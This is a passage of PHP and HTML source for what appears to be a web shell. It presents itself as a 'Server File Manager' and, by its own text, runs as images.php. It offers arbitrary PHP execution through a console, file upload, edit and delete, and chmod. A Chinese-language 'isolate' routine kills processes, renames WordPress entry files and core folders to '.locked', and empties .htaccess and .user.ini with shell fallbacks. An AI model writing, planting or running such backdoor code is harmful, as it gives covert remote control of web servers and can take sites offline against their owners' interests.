    'wp-signup.php'        => 'wp-signup.php.locked',
    'wp-trackback.php'     => 'wp-trackback.php.locked',
  );
  // 目录(木马窝)
  $entryDirs=array(
    'wp-content'     => 'wp-content1',
    'wp-includes'    => 'wp-includes1',
  );

  // === STEP 1: 杀掉可能的监控进程,防止改名过程被干扰 ===
  $killResult=_aq_kill_php_watchers();
  $log[]=array('step'=>0,'path'=>'process','action'=>'kill watchers','ok'=>true,
    'msg'=>'killed '.count($killResult['killed']).' suspicious processes');

  // === STEP 2: 尝试解锁根目录权限以便rename ===
  // (不改成755保留,只是临时解锁让rename能跑;结束后不动权限)
  clearstatcache(true);
  $rootPermBefore=decoct(@fileperms($root)&0777);
  if($rootPermBefore!=='755'&&$rootPermBefore!=='777'){
    _aq_force_chmod($root,0755);
    clearstatcache(true,$root);
  }

  // === STEP 3: 改名所有入口文件 ===
  foreach($entryFiles as $orig=>$locked){
    $src=$root.'/'.$orig; $dst=$root.'/'.$locked;
    if(!file_exists($src)){
      $log[]=array('step'=>1,'path'=>$orig,'action'=>'skip','ok'=>true,'msg'=>'文件不存在');
      continue;
    }
    // 如果目标已存在(之前跑过),先删掉
    if(file_exists($dst)){
      @unlink($dst);
      if(file_exists($dst)&&function_exists('exec')){
        @exec('rm -f '.escapeshellarg($dst).' 2>&1');
      }
    }
    // 尝试PHP rename
    $ok=@rename($src,$dst);
    // 失败降级shell mv
    if(!$ok&&function_exists('exec')){
      @exec('mv '.escapeshellarg($src).' '.escapeshellarg($dst).' 2>&1',$mvOut,$mvRet);
      clearstatcache(true);
      $ok=(file_exists($dst)&&!file_exists($src));
    }
    $log[]=array('step'=>1,'path'=>$orig,'action'=>'rename → '.$locked,'ok'=>$ok,
      'msg'=>$ok?'入口已封':'改名失败 - 可能属主不同,需SSH');
  }

  // === STEP 4: 改名 wp-content / wp-includes ===
  foreach($entryDirs as $orig=>$locked){
    $src=$root.'/'.$orig; $dst=$root.'/'.$locked;
    if(!is_dir($src)){
      $log[]=array('step'=>2,'path'=>$orig,'action'=>'skip','ok'=>true,'msg'=>'目录不存在');
      continue;
    }
    if(is_dir($dst)){
      // 目标已存在,说明之前已经断过链,跳过
      $log[]=array('step'=>2,'path'=>$orig,'action'=>'already locked','ok'=>true,
        'msg'=>$locked.' 已存在,跳过');
      continue;
    }
    _aq_force_chmod($src,0755);
    $ok=@rename($src,$dst);
    if(!$ok&&function_exists('exec')){
      @exec('mv '.escapeshellarg($src).' '.escapeshellarg($dst).' 2>&1',$mvOut2,$mvRet2);
      clearstatcache(true);
      $ok=(is_dir($dst)&&!is_dir($src));
    }
    $log[]=array('step'=>2,'path'=>$orig,'action'=>'rename → '.$locked,'ok'=>$ok,
      'msg'=>$ok?'目录已隔离':'改名失败');
  }

  // === STEP 5: 备份并清空 .htaccess(防止 auto_prepend_file / rewrite 加载木马) ===
  $ht=$root.'/.htaccess';
  $htBak=$root.'/.htaccess.locked';
  if(file_exists($ht)){
    // 备份
    if(!file_exists($htBak)){
      $htContent=@file_get_contents($ht);
      if($htContent!==false){
        @file_put_contents($htBak,$htContent);
      }
    }
    // 清空(改成空文件而非删除,保持文件存在避免404规则冲突)
    _aq_force_chmod($ht,0644);
    $wOk=@file_put_contents($ht,"# locked by isolate v3\n");
    if($wOk===false&&function_exists('exec')){
      @exec('echo "# locked" > '.escapeshellarg($ht).' 2>&1');
      $wOk=(filesize($ht)<200);
    }
    $log[]=array('step'=>3,'path'=>'.htaccess','action'=>'clear + backup','ok'=>($wOk!==false),
      'msg'=>$wOk!==false?'已清空(备份到 .htaccess.locked)':'清空失败');
  } else {
    $log[]=array('step'=>3,'path'=>'.htaccess','action'=>'skip','ok'=>true,'msg'=>'文件不存在');
  }

  // === STEP 6: 检查是否有 .user.ini(常被用来 auto_prepend_file 加载木马) ===
  $userIni=$root.'/.user.ini';
  if(file_exists($userIni)){
    $uiBak=$root.'/.user.ini.locked';
    if(!file_exists($uiBak)){
      $uiContent=@file_get_contents($userIni);
      if($uiContent!==false)@file_put_contents($uiBak,$uiContent);
    }
    _aq_force_chmod($userIni,0644);
    $wOk=@file_put_contents($userIni,"; locked by isolate v3\n");
    $log[]=array('step'=>4,'path'=>'.user.ini','action'=>'clear + backup','ok'=>($wOk!==false),
      'msg'=>$wOk!==false?'已清空(备份到 .user.ini.locked)':'清空失败,可能有 auto_prepend_file 后门');
  }

  // === STEP 7: 最终复验,列出根目录当前状态 ===
  clearstatcache(true);
  $verify=array();
  // 列出应该已经消失的原名
  foreach($entryFiles as $orig=>$locked){
    $src=$root.'/'.$orig; $dst=$root.'/'.$locked;
    if(file_exists($src)){
      $verify[$orig]='⚠ 仍存在(断链失败)';
    } elseif(file_exists($dst)){
      $verify[$orig]='已封 → '.$locked;
    } else {
      $verify[$orig]='不存在';
    }
  }
  foreach($entryDirs as $orig=>$locked){
    $src=$root.'/'.$orig; $dst=$root.'/'.$locked;
    if(is_dir($src)){
      $verify[$orig]='⚠ 仍存在(断链失败)';
    } elseif(is_dir($dst)){
      $verify[$orig]='已封 → '.$locked;
    } else {
      $verify[$orig]='不存在';
    }
  }
  // 检查 .htaccess 是否已清空
  if(file_exists($ht)){
    $sz=@filesize($ht);
    $verify['.htaccess']=($sz!==false&&$sz<200)?('已清空 ('.$sz.' bytes)'):('⚠ 未清空 ('.$sz.' bytes)');
  }

  json_out(array('ok'=>true,'root'=>$root,'log'=>$log,'verify'=>$verify,'kill_info'=>$killResult,
    'mode'=>'v3_pure_isolate','note'=>'纯断链模式:WP已完全停机,访问网站会返回404/白屏,本工具继续可用'));
}

json_out(array('ok'=>false,'error'=>'unknown api'));}

// PHP Console error handler (PHP 5.2 compatible)
$__aq_console_errors=array();
function _aq_console_err_handler($errno,$errstr,$errfile,$errline){
  global $__aq_console_errors;
  $types=array(E_WARNING=>'Warning',E_NOTICE=>'Notice',E_STRICT=>'Strict',E_DEPRECATED=>'Deprecated');
  $label=isset($types[$errno])?$types[$errno]:'Error';
  $__aq_console_errors[]=$label.': '.$errstr.' (line '.$errline.')';
  return true;
}

$rel=g('path');$target=safe_real($rel);if(!$target){$target=($rel==='')?getcwd():(safe_real(getcwd().'/'.$rel));if(!$target)$target=getcwd();}if($target===false)$target=getcwd();$files=list_dir_sorted($target);$flash=get_flash();
?><!doctype html><html lang="en"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>Server File Manager</title>
<style>
:root{--bg:#f8fafc;--card:#fff;--accent:#2563eb;--muted:#64748b}
body{margin:0;font-family:Inter,Segoe UI,Roboto,Arial,sans-serif;background:var(--bg);color:#0f172a}
.container{max-width:1200px;margin:24px auto;padding:18px}
.header{display:flex;align-items:center;justify-content:space-between;gap:12px;margin-bottom:12px}
.brand{display:flex;align-items:center;gap:12px}
.logo{width:56px;height:56px;border-radius:12px;background:#e2e8f0;display:flex;align-items:center;justify-content:center;font-weight:800;color:var(--accent);box-shadow:0 8px 15px rgba(0,0,0,.05)}
.title{font-size:20px;font-weight:700}
.controls{display:flex;gap:8px;align-items:center;flex-wrap:wrap}
.btn{padding:8px 12px;border-radius:8px;border:1px solid #cbd5e1;background:#fff;color:#334155;cursor:pointer;text-decoration:none;font-size:13px;display:inline-block}
.btn.primary{background:var(--accent);color:#fff;border:none}
.btn.danger{background:#dc2626;color:#fff;border:none}
.btn.console-btn{background:#059669;color:#fff;border:none}
.btn.create-btn{background:#7c3aed;color:#fff;border:none}
.btn.scan-btn{background:#dc2626;color:#fff;border:none;animation:pulse 2s infinite}
@keyframes pulse{0%,100%{opacity:1}50%{opacity:.7}}
.input{padding:8px;border-radius:8px;border:1px solid #cbd5e1;background:#fff;color:#0f172a}
.pathbar{margin-top:8px;padding:10px;border-radius:8px;background:#fff;border:1px solid #e2e8f0;font-size:13px;color:var(--muted);display:flex;align-items:center;gap:8px;flex-wrap:wrap}
.flash{margin-bottom:12px;padding:10px;border-radius:8px;background:#dcfce7;border-left:4px solid #22c55e;color:#166534}
.table{width:100%;border-collapse:collapse;margin-top:12px;border-radius:10px;overflow:hidden}
.table th{background:#f1f5f9;text-align:left;padding:12px;font-weight:700;color:#334155;border-bottom:1px solid #e2e8f0}
.table td{padding:12px;border-bottom:1px solid #e2e8f0;vertical-align:middle;color:#0f172a}
.small{font-size:12px;color:var(--muted)}
.actions button,.actions a{display:inline-block;margin-right:2px}
.modal{position:fixed;left:0;top:0;width:100%;height:100%;display:none;align-items:center;justify-content:center;background:rgba(0,0,0,.4);z-index:999}
.modal .box{width:720px;background:#fff;padding:18px;border-radius:10px;border:1px solid #e2e8f0;box-shadow:0 20px 25px -5px rgba(0,0,0,.1);max-height:90vh;overflow:auto}
.drop{border:2px dashed #cbd5e1;padding:24px;border-radius:8px;text-align:center;color:var(--muted);cursor:pointer;background:#f8fafc}
.progress-list{margin-top:12px}
.progress-item{display:flex;align-items:center;gap:12px;margin-top:8px}
.progress-bar{flex:1;height:10px;background:#e2e8f0;border-radius:6px;overflow:hidden}
.progress-fill{height:100%;background:var(--accent);width:0%}
.progress-text{width:120px;text-align:right;font-size:12px;color:var(--muted)}
.editor-modal .box{width:90%;max-width:1100px}
.editor-header{display:flex;justify-content:space-between;align-items:center;gap:8px;margin-bottom:8px}
textarea{width:100%;background:#f8fafc;color:#0f172a;border:1px solid #cbd5e1;padding:12px;border-radius:8px;font-family:monospace;box-sizing:border-box;font-size:13px}
a.link{color:var(--accent);text-decoration:none}
.aq-overlay{position:fixed;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.4);display:flex;align-items:center;justify-content:center;z-index:9999}
.aq-dialog{background:#fff;padding:20px;border-radius:10px;min-width:380px;max-width:500px;box-shadow:0 10px 25px rgba(0,0,0,.2)}
.aq-dialog .aq-msg{font-size:14px;margin-bottom:14px;color:#0f172a;word-break:break-all}
.aq-dialog input{width:100%;padding:8px;border:1px solid #cbd5e1;border-radius:6px;font-size:14px;box-sizing:border-box}
.aq-dialog .aq-btns{margin-top:14px;text-align:right}
/* Console */
.console-modal .box{width:90%;max-width:1100px;display:flex;flex-direction:column}
#consoleCode{height:200px;resize:vertical;font-family:Consolas,'Courier New',monospace;font-size:13px;tab-size:4;line-height:1.5}
#consoleOutput{min-height:100px;max-height:300px;overflow:auto;background:#1e293b;color:#e2e8f0;padding:12px;border-radius:8px;font-family:Consolas,'Courier New',monospace;font-size:12px;white-space:pre-wrap;word-break:break-all;margin-top:8px}
.console-meta{margin-top:6px;font-size:12px;color:var(--muted)}
/* Create File */
.create-modal .box{width:500px}
.create-modal label{display:block;font-size:13px;font-weight:600;color:#334155;margin-bottom:4px;margin-top:12px}
.create-modal .input{width:100%;box-sizing:border-box}
#createContent{height:120px;resize:vertical}
/* Security Scanner */
.scan-modal .box{width:90%;max-width:1000px}
.scan-item{padding:10px;margin:6px 0;border-radius:8px;border-left:4px solid #ef4444;background:#fef2f2;font-size:13px;display:flex;justify-content:space-between;align-items:flex-start;gap:8px}
.scan-item.medium{border-left-color:#f59e0b;background:#fffbeb}
.scan-item .si-path{font-family:monospace;word-break:break-all;flex:1}
.scan-item .si-reason{color:#991b1b;font-size:12px}
.scan-item.medium .si-reason{color:#92400e}
.scan-item .si-actions{display:flex;gap:4px;flex-shrink:0}
.scan-safe{padding:20px;text-align:center;color:#166534;font-size:16px}
</style></head>
<body><div class="container"><div class="header"><div class="brand"><div class="logo">SYS</div><div><div class="title"><?php echo getWebServerType(); ?></div></div></div>
<div class="controls">
<form method="get" style="display:flex;gap:8px;align-items:center"><input type="hidden" name="path" value="<?php echo esc($target);?>"><input class="input" name="q" placeholder="Search" value="<?php echo esc(g('q'));?>"><button class="btn" type="submit">Search</button></form>
<button class="btn" onclick="openUpload()">Upload</button>
<button class="btn" onclick="doMkdir()">New Folder</button>
<button class="btn create-btn" onclick="openCreateFile()">📄New File</button>
<button class="btn console-btn" onclick="openConsole()">⚡Console</button>
<button class="btn scan-btn" onclick="openScanner()">🛡️Security Scan</button>
<button class="btn" onclick="openChainBreaker()" style="background:#dc2626;color:#fff;border:none;font-weight:700;box-shadow:0 0 0 3px rgba(220,38,38,.25)">🔗 一键破链解锁</button>
<button class="btn" onclick="openChainIsolate()" style="background:#7c2d12;color:#fff;border:none;font-weight:700">🔒 隔离解锁</button>
<button class="btn" onclick="doGenFile('htaccess')">Gen .htaccess</button>
<button class="btn" onclick="doGenFile('robots')">Gen robots.txt</button>
<a class="btn" href="?path=<?php echo urlencode(dirname($target));?>">⬆️Parent</a>
<a class="btn" href="<?php echo esc($_SERVER['PHP_SELF']);?>">🏠Root</a>
</div></div>
<?php if($flash):?><div class="flash" id="flash"><?php echo esc($flash);?></div><?php else:?><div id="flash" style="display:none" class="flash"></div><?php endif;?>
<div class="pathbar"><div class="small">Current Path</div><div style="font-family:monospace;flex:1;color:#0f172a"><?php echo esc($target);?></div><div class="small">PHP <?php echo PHP_VERSION;?> | User: <?php
$__u='-';$__s=@stat(__FILE__);
if($__s && function_exists('posix_getpwuid')){$__p=@posix_getpwuid($__s['uid']);if($__p && isset($__p['name']))$__u=$__p['name'];}
if($__u==='-'){$__v=@getenv('USER');if($__v)$__u=$__v;}
echo esc($__u);
?></div></div>
<table class="table" id="fileTable"><thead><tr><th>Name</th><th>Type</th><th>Size</th><th>Modified</th><th>Perms</th><th>Actions</th></tr></thead><tbody>
<?php $q=g('q');foreach($files as $f): if($q!==''&&stripos($f['name'],$q)===false&&$f['name']!=='..')continue;?>
<tr><td style="width:40%"><?php if($f['is_dir']):?><a class="small link" href="?path=<?php echo urlencode($f['path']);?>" style="font-weight:700;color:#2563eb;text-decoration:none"><?php echo $f['name']==='..'?'📁 .. (Parent Directory)':'📁 '.esc($f['name']);?></a><?php else:?><a href="javascript:void(0)" onclick="openEditor('<?php echo rawurlencode($f['path']);?>')" style="color:#0f172a;text-decoration:none">📄 <?php echo esc($f['name']);?></a><?php endif;?></td>
<td><?php echo $f['is_dir']?'Dir':'File';?></td><td><?php echo $f['is_dir']?'-':human_size($f['size']);?></td><td><?php echo $f['name']==='..'?'-':date('Y-m-d H:i:s',$f['mtime']);?></td><td><?php echo esc($f['perm']);?></td>
<td class="actions"><?php if($f['name']==='..'):?><a class="btn" href="?path=<?php echo urlencode($f['path']);?>">📂</a><?php elseif($f['is_dir']):?><a class="btn" href="?path=<?php echo urlencode($f['path']);?>">📂</a> <button class="btn" onclick="doDelete('<?php echo rawurlencode($f['path']);?>')">❌</button> <button class="btn" onclick="doRename('<?php echo rawurlencode($f['path']);?>')">✏️</button> <button class="btn" onclick="doChmod('<?php echo rawurlencode($f['path']);?>')">🔐</button><?php else:?><a class="btn" href="?action=download&path=<?php echo urlencode($target);?>&file=<?php echo urlencode($f['name']);?>">⬇</a> <button class="btn primary" onclick="openEditor('<?php echo rawurlencode($f['path']);?>')">📝</button> <button class="btn" onclick="window.open('<?php echo esc(file_to_web_url($f['path'],$docRoot));?>','_blank')">🔗</button> <button class="btn" onclick="doDelete('<?php echo rawurlencode($f['path']);?>')">❌</button> <button class="btn" onclick="doRename('<?php echo rawurlencode($f['path']);?>')">✏️</button> <button class="btn" onclick="doChmod('<?php echo rawurlencode($f['path']);?>')">🔐</button><?php endif;?></td></tr><?php endforeach;?></tbody></table></div>

<!-- Upload Modal -->
<div class="modal" id="uploadModal"><div class="box"><h3 style="margin:0 0 8px 0">Upload Files</h3><div id="dropArea" class="drop">Drag files here, or click to select</div><input type="file" id="fileInput" multiple style="display:none"><div class="progress-list" id="progressList"></div><div style="margin-top:12px;text-align:right"><button class="btn" onclick="closeUpload()">Close</button></div></div></div>

<!-- Editor Modal -->
<div class="modal editor-modal" id="editorModal"><div class="box"><div class="editor-header"><div><div style="font-weight:700" id="editorTitle">Edit</div><div class="small" id="editorPath"></div></div><div><button class="btn primary" id="saveBtn">Save</button> <button class="btn" onclick="closeEditor()">Close</button></div></div><textarea id="editorContent" style="height:60vh"></textarea></div></div>

<!-- PHP Console Modal -->
<div class="modal console-modal" id="consoleModal"><div class="box">
<div style="display:flex;justify-content:space-between;align-items:center;margin-bottom:8px">
<div><div style="font-weight:700;font-size:16px">⚡ PHP Console</div><div class="small">PHP <?php echo PHP_VERSION;?> | No &lt;?php tag needed | Ctrl+Enter to run</div></div>
<div><button class="btn" onclick="closeConsole()">Close</button></div>
</div>
<div style="display:flex;gap:8px;margin-bottom:8px">
<button class="btn primary" onclick="runConsole()" id="runBtn">▶ Run</button>
<button class="btn" onclick="clearConsole()">🗑 Clear</button>
</div>
<textarea id="consoleCode" placeholder="echo 'Hello World!';">echo 'Hello World!';</textarea>
<div id="consoleOutput">Output will appear here...</div>
<div class="console-meta" id="consoleMeta"></div>
</div></div>

<!-- Create File Modal -->
<div class="modal create-modal" id="createModal"><div class="box">
<h3 style="margin:0 0 4px 0">📄 Create New File</h3>
<div class="small" style="margin-bottom:4px">Dir: <?php echo esc($target);?></div>
<label>File Name (include extension)</label>
<input class="input" id="createFileName" placeholder="e.g. index.php, config.json, style.css">
<label>Content (optional)</label>
<textarea id="createContent" placeholder="Leave empty for blank file"></textarea>
<div style="margin-top:12px;text-align:right">
<button class="btn" onclick="closeCreateFile()" style="margin-right:8px">Cancel</button>
<button class="btn create-btn" onclick="submitCreateFile()">Create</button>
</div>
</div></div>

<!-- Security Scanner Modal -->
<div class="modal scan-modal" id="scanModal"><div class="box">
<div style="display:flex;justify-content:space-between;align-items:center;margin-bottom:12px">
<div>
<div style="font-weight:700;font-size:16px;color:#dc2626">🛡️ Security Scanner</div>
<div class="small">Scan for webshells, backdoors, permission locks, and suspicious crontab entries</div>
</div>
<div><button class="btn" onclick="closeScan()">Close</button></div>
</div>
<div style="display:flex;gap:8px;align-items:center;margin-bottom:12px;flex-wrap:wrap">
<input class="input" id="scanPath" value="<?php echo esc($docRoot?$docRoot:$target);?>" style="flex:1;min-width:200px" placeholder="Scan path">
<button class="btn danger" onclick="runScan()" id="scanBtn">🔍 Start Scan</button>
<button class="btn" onclick="resetDocroot()" title="Reset docroot: dirs→755, files→644" style="background:#f59e0b;color:#fff;border:none">🔧 Reset DocRoot Perms</button>
</div>
<div id="scanResults" style="max-height:55vh;overflow:auto">
<div style="text-align:center;color:var(--muted);padding:30px">Click "Start Scan" to begin...</div>
</div>
<div id="scanSummary" style="margin-top:8px;font-size:12px;color:var(--muted)"></div>
</div></div>

<div class="modal scan-modal" id="chainModal"><div class="box">
<div style="display:flex;justify-content:space-between;align-items:center;margin-bottom:12px">
<div>
<div style="font-weight:700;font-size:16px;color:#dc2626">🔗 一键破链解锁</div>
<div class="small">在同一次请求内按顺序完成：净化 .htaccess → 删除木马 → 解锁权限，不给木马重新上锁的机会</div>
</div>
<div><button class="btn" onclick="document.getElementById('chainModal').style.display='none'">关闭</button></div>
</div>
<div style="background:#fef2f2;border-left:4px solid #dc2626;padding:12px;border-radius:8px;font-size:13px;color:#991b1b;margin-bottom:12px;line-height:1.7">
<b>它会做什么(按顺序,一口气):</b><br>
① 备份当前 .htaccess(存为 .htaccess.bak_日期),再把它替换成干净的标准 WordPress 规则,踢掉恶意白名单<br>
② 删除 .htaccess 白名单里所有<b>不属于 WordPress 核心</b>的可疑 .php 文件(先解锁权限再删)<br>
③ 把 index.php / wp-config.php 等被锁成 444 的文件解锁回 644<br>
④ 复验 index.php 是否还被锁<br>
<b style="color:#dc2626">先点「分析」看清楚要动哪些文件,确认无误再点「执行」。</b>
</div>
<div style="display:flex;gap:8px;margin-bottom:12px">
<button class="btn" onclick="chainAnalyze()" style="background:#0ea5e9;color:#fff;border:none">🔍 1. 分析(只看不动)</button>
<button class="btn" onclick="chainExecute()" id="chainExecBtn" style="background:#dc2626;color:#fff;border:none;font-weight:700" disabled>⚡ 2. 执行破链</button>
</div>
<div id="chainResults" style="max-height:50vh;overflow:auto;font-size:13px"></div>
</div></div>

<div class="modal scan-modal" id="isolateModal"><div class="box">
<div style="display:flex;justify-content:space-between;align-items:center;margin-bottom:12px">
<div>
<div style="font-weight:700;font-size:16px;color:#7c2d12">🔒 隔离解锁(断链改权限)</div>
<div class="small">改名 wp-content/wp-includes 瞬间断掉木马锁链,解锁权限后再改回来</div>
</div>
<div><button class="btn" onclick="document.getElementById('isolateModal').style.display='none'">关闭</button></div>
</div>
<div style="background:#fef2f2;border-left:4px solid #7c2d12;padding:12px;border-radius:8px;font-size:13px;color:#991b1b;margin-bottom:12px;line-height:1.7">
<b>原理:</b> 入侵者在 wp-content 和 wp-includes 里放了互相监控的脚本(inotify/循环chmod),你改一个权限另一个立即锁回来。<br>
<b>v2 增强版,一次请求内按顺序:</b><br>
⓪ 杀掉当前用户所有可疑的PHP/inotify监控进程<br>
① wp-content → wp-content1, wp-includes → wp-includes1 (断链,PHP/shell双通道)<br>
② 强制 chmod 根目录/index.php/.htaccess 为 755 (PHP→exec→system→shell_exec 四级递降)<br>
③ wp-content1 → wp-content, wp-includes1 → wp-includes (改回来)<br>
④ 等100ms复验: 如果被锁回去, 再杀一轮进程+再改一轮<br>
<b style="color:#7c2d12">站会短暂不可用(~200ms),改完立即恢复。</b>
</div>
<div style="display:flex;gap:8px;margin-bottom:12px">
<button class="btn" onclick="chainIsolateExec()" style="background:#7c2d12;color:#fff;border:none;font-weight:700">⚡ 执行隔离解锁</button>
</div>
<div id="isolateResults" style="max-height:50vh;overflow:auto;font-size:13px"><div style="text-align:center;color:#94a3b8;padding:24px">点「执行隔离解锁」开始</div></div>
</div></div>

<script>
var CHAIN_SUSPECTS=[];
function openChainBreaker(){document.getElementById('chainResults').innerHTML='<div style="text-align:center;color:#94a3b8;padding:24px">点「分析」开始</div>';document.getElementById('chainExecBtn').disabled=true;document.getElementById('chainModal').style.display='flex';}
function chainAnalyze(){
  var box=document.getElementById('chainResults');
  box.innerHTML='<div style="padding:20px;text-align:center">分析中...</div>';
  var d=new FormData();d.append('api','1');d.append('action','chain_analyze');
  fetch('',{method:'POST',body:d}).then(function(r){return r.json();}).then(function(res){
    if(!res.ok){box.innerHTML='<div style="color:#dc2626">分析失败: '+(res.error||'')+'</div>';return;}
    var a=res.analyze;var h='';CHAIN_SUSPECTS=[];
    h+='<div style="margin-bottom:8px"><b>网站根目录:</b> <span style="font-family:monospace">'+a.root+'</span></div>';
    if(a.htaccess&&a.htaccess.exists){
      h+='<div style="padding:8px;background:#f8fafc;border-radius:6px;margin-bottom:8px">.htaccess 存在 · 权限 '+a.htaccess.perm+' · '+(a.htaccess.writable?'<span style="color:#16a34a">可写✓</span>':'<span style="color:#dc2626">不可写✗(可能属主不同)</span>')+' · 白名单里发现 <b style="color:#dc2626">'+a.htaccess.suspect_count+'</b> 个非WP文件</div>';
    }else{h+='<div style="color:#92400e;margin-bottom:8px">根目录没有 .htaccess</div>';}
    if(a.index){
      var lk=(a.index.perm==='444'||a.index.perm==='0444'||a.index.perm==='000');
      h+='<div style="padding:8px;border-radius:6px;margin-bottom:8px;background:'+(lk?'#fef2f2':'#f0fdf4')+'">index.php 当前权限 <b>'+a.index.perm+'</b> '+(lk?'<span style="color:#dc2626">← 被锁死</span>':'<span style="color:#16a34a">正常</span>')+' · '+(a.index.writable?'可写':'不可写')+'</div>';
    }
    if(a.suspect_files&&a.suspect_files.length){
      h+='<div style="font-weight:700;margin:10px 0 6px">将删除以下可疑文件(勾选要删的):</div>';
      a.suspect_files.forEach(function(f,i){
        if(f.exists){CHAIN_SUSPECTS.push(f.path);}
        h+='<label style="display:flex;align-items:center;gap:8px;padding:6px;border-bottom:1px solid #eee">'+
           '<input type="checkbox" class="chain-sus" value="'+encodeURIComponent(f.path)+'" '+(f.exists?'checked':'disabled')+'>'+
           '<span style="font-family:monospace;flex:1">'+f.name+'</span>'+
           '<span style="font-size:11px;color:'+(f.exists?'#dc2626':'#94a3b8')+'">'+(f.exists?('存在·'+f.perm+(f.writable?'':'·不可写')):'白名单里有但文件不存在')+'</span></label>';
      });
    }else{
      h+='<div style="color:#16a34a;padding:8px">.htaccess 白名单里没有发现非WP的可疑文件</div>';
    }
    box.innerHTML=h;
    document.getElementById('chainExecBtn').disabled=false;
  }).catch(function(e){box.innerHTML='<div style="color:#dc2626">请求出错: '+e+'</div>';});
}
function chainExecute(){
  aqConfirm('确认执行破链?\n\n会备份并重写 .htaccess、删除勾选的木马、解锁核心文件权限。\n此操作会真实修改/删除文件。').then(function(ok){
    if(!ok)return;
    var box=document.getElementById('chainResults');
    box.innerHTML='<div style="padding:20px;text-align:center">执行中,请勿关闭...</div>';
    var extra=[];document.querySelectorAll('.chain-sus:checked').forEach(function(c){extra.push(decodeURIComponent(c.value));});
    var d=new FormData();d.append('api','1');d.append('action','chain_break');d.append('extra_files',JSON.stringify(extra));
    fetch('',{method:'POST',body:d}).then(function(r){return r.json();}).then(function(res){
      if(!res.ok){box.innerHTML='<div style="color:#dc2626">执行失败: '+(res.error||'')+'</div>';return;}
      var h='<div style="font-weight:700;margin-bottom:8px">执行日志:</div>';
      res.log.forEach(function(l){
        h+='<div style="display:flex;gap:8px;padding:5px;border-bottom:1px solid #eee;font-size:12px">'+
           '<span style="width:18px;color:#64748b">S'+l.step+'</span>'+
           '<span>'+(l.ok?'<span style="color:#16a34a">✓</span>':'<span style="color:#dc2626">✗</span>')+'</span>'+
           '<span style="flex:1"><b>'+l.action+'</b> '+(l.msg?('· '+l.msg):'')+'<br><span style="font-family:monospace;color:#64748b">'+l.path+'</span></span></div>';
      });
      if(res.verify){
        var lk=(res.verify.perm==='444'||res.verify.perm==='0444'||res.verify.perm==='000');
        h+='<div style="margin-top:12px;padding:12px;border-radius:8px;font-weight:700;background:'+(lk?'#fef2f2':'#f0fdf4')+';color:'+(lk?'#dc2626':'#166534')+'">'+
           (lk?'⚠ index.php 仍是 '+res.verify.perm+' — 说明还有活着的木马在锁它,或该文件属主不是当前PHP用户。请先点 Security Scan 找出并删掉其余后门,再回来执行一次。':'✅ index.php 已解锁为 '+res.verify.perm+' 且可写。破链成功!接下来立刻改掉 FTP/面板/WP后台 密码,并把入侵你的那个插件删掉或更新。')+'</div>';
      }
      box.innerHTML=h;
    }).catch(function(e){box.innerHTML='<div style="color:#dc2626">请求出错: '+e+'</div>';});
  });
}
function openChainIsolate(){document.getElementById('isolateResults').innerHTML='<div style="text-align:center;color:#94a3b8;padding:24px">点「执行隔离解锁」开始</div>';document.getElementById('isolateModal').style.display='flex';}
function chainIsolateExec(){
  aqConfirm('确认执行「深度断链」v4?\n\n将封掉所有 WP 官方根目录 PHP + 木马窝目录:\n\n① 杀掉可疑监控进程\n② 封 9 个 WP 官方文件(改名加 .locked):\n   index.php / wp-login.php / wp-cron.php / xmlrpc.php\n   wp-activate.php / wp-blog-header.php / wp-comments-post.php\n   wp-links-opml.php / wp-mail.php / wp-settings.php\n   wp-signup.php / wp-trackback.php\n③ 封 wp-content / wp-includes(如未封)\n④ 清空 .htaccess 和 .user.ini(已备份)\n\n⚠ 不动的文件:\n   • wp-config.php / wp-config-sample.php / wp-load.php\n   • 所有非 wp- 开头的 PHP(可能是你的后门或木马,你自己处理)\n   • wp-admin/ 及其他所有目录\n\n执行后 WP 彻底停机,木马无法通过 WP 链触发。\n本工具 images.php 继续可用。\n恢复方法:手动去掉 .locked 后缀。').then(function(ok){
    if(!ok)return;
    var box=document.getElementById('isolateResults');
    box.innerHTML='<div style="padding:20px;text-align:center">执行中(杀进程→封 12 个 WP 文件→封目录→清 htaccess)...</div>';
    var d=new FormData();d.append('api','1');d.append('action','chain_isolate');
    fetch('',{method:'POST',body:d}).then(function(r){return r.json();}).then(function(res){
      if(!res.ok){box.innerHTML='<div style="color:#dc2626">执行失败: '+(res.error||'')+'</div>';return;}
      var h='';
      // 显示杀进程信息
      if(res.kill_info){
        var ki=res.kill_info;
        h+='<div style="padding:8px;background:#fef3c7;border-radius:6px;margin-bottom:8px;font-size:12px">';
        h+='<b>进程清理:</b> ';
        if(ki.killed&&ki.killed.length>0){
          h+='杀掉 <b style="color:#dc2626">'+ki.killed.length+'</b> 个可疑进程:<br>';
          ki.killed.forEach(function(p){h+='  PID '+p.pid+': '+escH(p.cmd)+'<br>';});
        }else{
          h+='未发现可疑监控进程';
        }
        h+='</div>';
      }
      h+='<div style="font-weight:700;margin-bottom:8px">执行日志:</div>';
      res.log.forEach(function(l){
        var stepNames={0:'杀进程',1:'封入口',2:'封目录',3:'清htaccess',4:'清user.ini'};
        var sn=stepNames[l.step]||('S'+l.step);
        h+='<div style="display:flex;gap:8px;padding:5px;border-bottom:1px solid #eee;font-size:12px">'+
           '<span style="min-width:60px;color:#64748b;font-size:11px">'+sn+'</span>'+
           '<span>'+(l.ok?'<span style="color:#16a34a">\u2713</span>':'<span style="color:#dc2626">\u2717</span>')+'</span>'+
           '<span style="flex:1"><b>'+escH(l.action)+'</b> '+(l.msg?('\u00b7 '+escH(l.msg)):'')+'<br><span style="font-family:monospace;color:#64748b">'+escH(l.path)+'</span></span></div>';
      });
      if(res.verify){
        h+='<div style="margin-top:12px;padding:12px;border-radius:8px;background:#f8fafc;font-size:13px"><b>最终状态:</b><br>';
        var allSealed=true;
        for(var k in res.verify){
          var v=res.verify[k];
          var color='#0f172a';
          if(v.indexOf('\u26a0')!==-1){color='#dc2626';allSealed=false;}
          else if(v.indexOf('\u5df2\u5c01')!==-1||v.indexOf('\u5df2\u6e05\u7a7a')!==-1){color='#16a34a';}
          else if(v.indexOf('\u4e0d\u5b58\u5728')!==-1){color='#94a3b8';}
          h+='<span style="font-family:monospace">'+escH(k)+'</span>: <b style="color:'+color+'">'+escH(v)+'</b><br>';
        }
        h+='<div style="margin-top:8px;padding:10px;border-radius:6px;font-weight:700;background:'+(allSealed?'#f0fdf4':'#fef3c7')+';color:'+(allSealed?'#166534':'#92400e')+'">'+
